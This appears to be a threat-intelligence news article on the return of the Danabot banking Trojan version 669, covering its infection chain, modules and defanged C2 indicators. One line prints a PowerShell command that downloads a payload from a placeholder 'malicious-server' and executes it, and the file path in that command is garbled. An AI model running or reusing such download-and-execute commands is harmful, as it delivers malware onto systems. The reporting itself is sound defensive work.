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Danabot, a well-known banking Trojan, has re-emerged significantly with its latest version 669 following a hiatus prompted by Operation Endgame’s law enforcement operation in May 2025.
This advanced malware’s resurgence indicates a fresh wave of threats targeting financial institutions, cryptocurrency users, and individual victims through intricate multi-phase assaults.
Historically, Danabot is associated with credential theft, financial deception, and information exfiltration; its latest iteration signifies a technical enhancement in both operational strategies and infrastructure.
The malware employs numerous attack vectors to infiltrate systems, including spear-phishing campaigns and harmful documents aimed at delivering its payload.
Victims are manipulated into executing disguised attachments through persuasive social engineering, which initiates the primary infection.
Once established, Danabot version 669 activates several modules focused on data extraction, lateral movement within networks, and payload deployment specifically for Windows environments.
The malware also targets cryptocurrency wallets, broadening its impact beyond conventional banking fraud.
Security analysts from Zscaler ThreatLabz discovered and scrutinized version 669, affirming its revival and revealing its technical foundations.
Significantly, ThreatLabz recorded changes in Danabot’s command-and-control (C2) infrastructure.
The malware now utilizes a combination of traditional IP-based C2 servers and .onion addresses to oversee payloads and data exfiltration, guaranteeing operational durability and complicating remediation efforts.
Noteworthy C2 addresses consist of 62.60.226[.]146:443, 62.60.226[.]154:443, and several .onion domains like aqpfkxxtvahlzr6vobt6fhj4riev7wxzoxwItbcysuybirygxzvp23ad[.]onion:44.
Infection Mechanism Spotlight
At the center of Danabot’s infection methodology is a robust loader. When executed, this loader retrieves additional encrypted modules and configuration files from various C2 servers. The following code snippet illustrates the initial stage payload deployment:
Invoke-WebRequest -Uri 'http://malicious-server/payload' -OutFile 'C:UsersPublicpayload.exe'; Start-Process 'C:UsersPublicpayload.exe'After securing a foothold, Danabot integrates itself into legitimate Windows processes as a measure for persistence and utilizes scheduled tasks for ongoing execution.
The modular architecture empowers the threat actor to remotely manage new payloads and modify infection parameters without direct user intervention.
This tactical flexibility, combined with improved detection evasion via encrypted configurations and C2 communications, positions Danabot version 669 as a formidable opponent in the current threat environment.
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